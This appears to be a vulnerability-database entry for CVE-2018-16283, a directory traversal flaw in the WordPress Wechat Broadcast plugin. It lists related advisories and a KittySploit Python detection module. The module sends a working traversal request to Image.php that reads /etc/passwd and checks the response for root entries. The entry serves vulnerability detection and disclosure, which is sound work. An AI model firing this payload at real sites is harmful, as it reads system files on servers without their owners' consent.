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WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Directory Traversal in WordPress Plugin Wechat Broadcast via the Image.php url parameter.

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cnvd
CNVD
WordPress Wechat Broadcast Plugin Directory Traversal Vulnerability
25 Sep 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Wechat Brodcast Project Directory Traversal (CVE-2018-16283)
5 Jun 202000:00
–checkpoint_advisories
cve
CVE
CVE-2018-16283
24 Sep 201822:00
–cve
cvelist
Cvelist
CVE-2018-16283
24 Sep 201822:00
–cvelist
exploitdb
Exploit DB
WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
19 Sep 201800:00
–exploitdb
exploitpack
exploitpack
WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
19 Sep 201800:00
–exploitpack
kitploit
Kitploit
cve-2018-16283
20 Oct 202606:47
–kitploit
mend
Mend
CVE-2018-16283
24 Sep 201822:00
–mend
nuclei
Nuclei
WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
20 Oct 202602:05
–nuclei
nvd
NVD
CVE-2018-16283
24 Sep 201822:29
–nvd
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Wechat Broadcast plugin 1."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion Detection',
        'description': 'WordPress Wechat Broadcast plugin 1.2.0 and earlier allows Directory Traversal via the Image.php url parameter.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2018', 'edb', 'seclists', 'wordpress', 'wp-plugin', 'lfi', 'wechat_brodcast_project', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://www.exploit-db.com/exploits/45438',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-16283',
            'https://github.com/springjk/wordpress-wechat-broadcast/issues/14',
            'http://seclists.org/fulldisclosure/2018/Sep/32',
            'https://exchange.xforce.ibmcloud.com/vulnerabilities/150202',
        ],
        'cve': 'CVE-2018-16283',
    }

    def run(self):
        r = self.http_request(method="GET", path='/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='critical',
                reason="WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion detected",
                path='/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 39.8
EPSS0.6307
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